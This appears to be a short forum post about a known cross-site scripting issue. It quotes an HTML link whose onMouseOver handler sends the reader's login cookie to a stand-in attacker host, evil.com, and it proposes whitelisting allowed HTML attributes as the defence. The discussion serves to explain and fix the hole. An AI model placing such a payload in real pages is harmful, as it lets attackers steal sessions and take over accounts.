Thanks - It turns out this was a known issue which had been discussed before.

 I was referring to malicious links being able to steal your login cookie via a link of the following form:

<a href="http://www.some.com/"
  onMouseOver="document.location='http://evil.com/steal.cgi?id=' +
   document.cookie;">Link Text</a>

 For example

 This only works upon personal node apparently, so it's not considered a problem.

 Update: I guess the general solution to this problem from a CGI filtering point of view is to remove all attributes from HTML tags which aren't explicitly allowed.

 Failing that you could filter out the 'obvious' dangerous ones - But you'd probably miss quite a few

Steve
---
steve.org.uk